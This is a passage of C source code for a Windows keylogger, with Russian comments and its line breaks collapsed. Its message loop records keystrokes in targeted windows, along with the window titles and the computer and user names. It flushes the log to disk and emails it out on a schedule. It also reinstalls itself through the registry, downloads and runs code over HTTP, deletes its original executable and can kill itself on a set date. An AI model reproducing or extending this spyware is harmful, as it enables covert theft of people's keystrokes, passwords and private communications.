buf3 [0] = 0;sprintf (buf2,"Computer: \"%s\" User: \"%s\"\n",buf3,buf1);GetLocalTime (&systime);SysTimePrint (buf3,systime);sprintf (buf1,"\nStarted at%s,%s\n",buf3,buf2);LogAdd (buf1);memcpy (&killtime,&sti. inst_d,sizeof (SYSTEMTIME));SysTimeSum (killtime,sti. kill_i);memcpy (&mailtime,&sti. send_d,sizeof (mailtime));SysTimeSum (mailtime,sti. send_i); // Сбрасываем exectimememset (&exectime,0,sizeof (exectime)); // Ставим таймерh_timer = SetTimer (NULL,0,1000,NULL);while (GetMessage (&msg,NULL,0,0)) // GetMessage-loopswitch (msg. message) {case WM_TIMER: // Забираем данные из кейлог-буфераif (IsLog) {i = GetData (buf1,sizeof (buf1));buf1 [i] = 0;if ( (! a_d. emp_log) && (IsChange) && (i)) {LogAdd (old_title);IsChange = false;};LogAdd (buf1);};h_curwnd = GetForegroundWindow (); // Получить текущее окноif (h_curwnd! = h_oldwnd) { // Окно поменялось // выключаем лог если он идетif (IsLog) KeylogOff ();IsLog = false;if (TitleTest (h_curwnd,buf2)) { // Окно наше?GetLocalTime (&systime);sprintf (old_title,"\nTitle: \"%s\",%2.2u:%2.2u:%2.2u\n",buf2,systime. wHour,systime. wMinute,systime. wSecond);IsChange = true;if (a_d. emp_log) LogAdd (old_title);IsLog = KeylogOn (); // Включить лог};};h_oldwnd = h_curwnd; // Обработка сброса буфера на хардif (cFlush > FLUSH_BUFFER_TIME) {LogFlush ();cFlush = 0;} else cFlush++;if (sti. send_mail) {if ( (cMail > MAIL_TEST_TIME) && (! IsMailing)) {GetLocalTime (&systime);if ( (SysTimeComp (systime,mailtime) >= 0) ||(sti. logsize > sti. sendafter)) { // МылимLogEmailing (mailtime, IsMailing);};cMail = 0;} else cMail++;};if (cRegInst > REG_TEST_TIME) {if (sti. autokill) {GetLocalTime (&systime);if (SysTimeComp (systime,killtime) >= 0) {AutoKill (h_keylog);};};RegInstall ();cRegInst = 0;} else cRegInst++;if ( (cExe > EXEC_TEST_TIME) && (! IsMailing)) {GetLocalTime (&systime);if (SysTimeComp (systime,exectime) >= 0) {HttpDownloading (exectime, IsMailing);};cExe = 0;} else cExe++; // Килять исходный экзешник?if (szKillIt) {if (DeleteFile (szKillIt)) szKillIt = NULL;}; // Проврека на возникновение соединенияif (cCon > CON_TEST_TIME) {cCon = 0;ConDectecting ();} else cCon++;break;#ifdef _DEBUGdefault:sprintf (buf1,"Unknown Message:%X",msg. message);ShowMessage (buf1);#endif};return msg. wParam;};